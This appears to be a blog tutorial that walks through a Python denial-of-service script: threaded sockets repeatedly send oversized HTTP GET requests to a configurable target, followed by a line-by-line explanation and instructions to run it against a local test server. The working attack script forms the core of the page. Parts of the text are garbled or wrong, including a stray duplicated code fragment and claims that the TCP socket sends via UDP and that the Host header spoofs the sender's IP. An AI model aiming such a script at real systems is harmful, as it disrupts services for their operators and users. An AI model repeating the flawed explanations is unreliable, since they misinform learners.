Hey there! we will perform a simple Denial Of Service (dos) attack with a Python script. This is a simple script but still use it on your infrastructure, I will be dos’ing
my computer target="127.0.0.1"
but you can use a virtual machine, web server, etc…
NB: Hacking unauthorized systems is illegal and will cause you problems.
What is a Denial Of Service (DOS) Attack?
Read the article above here or click on the image above to learn what DOS attacks are and more…
Below is the full Python script and some explanation of what is going on below.
import socket # Use Case: Facililate bi-directional communication between the script and a server.
import threading # Use Case: Create concurrent requests
import logging # Use Case: Use for logging
import psutil # Use Case: Monitor system CPU and Ram
import time # Use Case: Get time
p address of a remote server, another computer
port=80 # Open port on machine to be attacked
trd=10 # Number of concurrent threads or requests to be sent
target="127.0.0.1" # Targetting my computer, it would be a ip address of a remote server, another computer
port=80 # Open port on machine to be attacked
trd=10 # Number of concurrent threads or requests to be sent
fake_ip="127.0.0.1" # Your fake Ip address, but it does not make your annonmous
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def attack(thread_id):
"""Sends a mock HTTP request to the target repeatedly."""
count = 0 # Count the number of requests sent by each thread
while True:
try:
# Create a socket and connect to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# Send data to simulate an HTTP GET request
s.sendto(("GET /" + "A" * 500 + " HTTP/1.1\r\n").encode("utf-8"), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode("utf-8"), (target, port))
# Log each request sent
count += 1
logging.info(f"Thread {thread_id} sent request {count}")
s.close()
time.sleep(1) # Add delay to control request rate, Sleep for 1 second
except Exception as e:
logging.error(f"Thread {thread_id} encountered an error: {e}")
break # Break loop on error to avoid infinite retries in case of network issues
def monitor_resources():
"Monitors and logs CPU and Memory usage every second"
while True:
# Get CPU and Memory Usage
cpu_usage = psutil.cpu_percent(interval=1)
memory_info = psutil.virtual_memory()
# Log system resource usage
logging.info(f"CPU Usage: {cpu_usage}% | Memory Usage: {memory_info.percent}%")
time.sleep(1) # Adjust the interval as needed
# Start resource monitoring in a separate thread
monitor_thread = threading.Thread(target=monitor_resources)
monitor_thread.daemon = True # Daemonize to exit when main program ends
monitor_thread.start()
for i in range(trd):
thread = threading.Thread(target=attack, args=(i,))
thread.start()
Script Explanation
Note: The script explanation is going to be from the
def attack
. Importations and code abovedef attack
have explanations as comments.We have a
def attack(thread_id):
, this is how we create a function in Python and pass a value or parameter to it calledthread_id
.count=0
: makes a variable count with 0, read comment.while True:
, This creates an infinite loop that will run forever, if not manually stopped. This is because the condition remainsTrue
, there is nobreak
statement or change of state fromTrue
toFalse
.try : - except:
block, First tries to run the code under thetry
block, and in case of an error or things do not go well when running the code, we are sent to theexcept
block where we are logging the error andbreaking
out of thewhile
loop.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
, creates a socket and this is a communication agent.socket.AF
_INET
specifies that the socket will use the IPv4 address family.socket.SOCK_STREAM
indicates that this socket will use TCP (Transmission Control Protocol).
s.connect((target, port))
connecting totarget
IP address and useport
on that machine.s.sendto(("GET /" + "A" * 500 + " HTTP/1.1\r\n").encode("utf-8"), (target, port))
"GET /" + "A" * 500 + " HTTP/1.1\r\n"
:Constructs a string resembling an HTTP GET request.
The path component (
/
) is replaced by a long sequence of 500A
characters. This might be an attempt to overflow or stress-test the server's handling of unusually large or malformed requests.The HTTP version (
HTTP/1.1
) follows the "GET" method.The
\r\n
denotes the end of the line in HTTP headers.
.encode("utf-8")
: Converts the constructed string into bytes, as network communication typically requires byte data.(target, port)
: Specifies the destination:target
: The IP address or hostname of the server.port
: The port number on which the server is listening.
s.sendto
: Sends the encoded request to the server using a UDP socket.
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode("utf-8"), (target, port))
"Host: " + fake_ip + "\r\n\r\n"
:Constructs a string resembling an HTTP
Host
header, used to indicate the domain name the client wants to access.fake_ip
: A string that represents a fabricated or spoofed IP address, rather than the real client's IP.\r\n\r\n
: Indicates the end of the HTTP headers.
.encode("utf-8")
: Encodes the string into bytes.(target, port)
: Same as above, it defines the server and port for sending the data.s.sendto
: Sends this second packet to the server.
s.close()
- Closes socket connection.except
- In case of an error, break out of the loop.
def monitor_resources():
- This function is used to monitor resource usage every second.while True
- Creates an infinite loopcpu_usage = psutil.cpu_percent(interval=1)
- Monitors CPU usage per second and stores value in variablecpu_usage
memory_info = psutil.virtual_memory()
- Monitors RAM and stores value in variablememory_info
logging.info(f"CPU Usage: {cpu_usage}% | Memory Usage: {memory_info.percent}%")
- Logs finds.time.sleep(1)
- Sleep for 1 second.
monitor_thread = threading.Thread(target=monitor_resources)
This creates a new thread object.
threading.Thread
initializes a thread, associating it with themonitor_resources
function, which will run when the thread starts.Using threads allows tasks to execute concurrently, enabling better utilization of resources.
monitor_thread.start()
- This starts the thread, causing themonitor_resources
function to execute in the new thread concurrently with the main program.for i in range(trd):
- This loop runstrd
times (wheretrd
is an integer value), iterating with the variablei
ranging from0
totrd-1
.Each iteration will create and start a new thread.
thread = threading.Thread(target=attack, args=(i,))
Creates a thread:
The
threading.Thread
object is initialized to execute theattack
function in a separate thread.target=attack
:- Specifies the function (
attack
) to be executed by the thread. This function contains the code that will run in the new thread.
- Specifies the function (
args=(i,)
:This passes
i
as an argument to theattack
function. The comma afteri
ensures thatargs
is treated as a tuple (required by theargs
parameter, even if it contains just one value).This allows the
attack
function to receivei
as a parameter during each thread's execution. For example,attack(0)
on the first iteration,attack(1)
on the second, and so on.
thread.start()
Starts the thread:The
start()
method begins execution of theattack
function in the newly created thread.This runs concurrently with the main program and any other active threads.
How to run script.
Note: pip install psutil
Set up server port.
With the command below, Python can help us quickly set up a server on port 80.
sudo python3 -m http.server 80
check port number reference below, why use port 80 above
Port 20/21: FTP (File Transfer Protocol) – Transfers files between client and server.
Port 22: SSH (Secure Shell) – Secure remote login and file transfers.
Port 23: Telnet – Insecure text-based remote login (rarely used now).
Port 25: SMTP (Simple Mail Transfer Protocol) – Sending emails.
Port 53: DNS (Domain Name System) – Resolves domain names to IP addresses.
Port 67/68: DHCP (Dynamic Host Configuration Protocol) – Assigns IP addresses to devices.
Port 80: HTTP (HyperText Transfer Protocol) – Non-secure web traffic.
Port 110: POP3 (Post Office Protocol v3) – Retrieving emails from servers.
Port 143: IMAP (Internet Message Access Protocol) – Email retrieval and management.
Port 161/162: SNMP (Simple Network Management Protocol) – Network management and monitoring.
Port 443: HTTPS (HyperText Transfer Protocol Secure) – Secure web traffic.
Run script
python3 main.py
- if the script is in a file called main.py.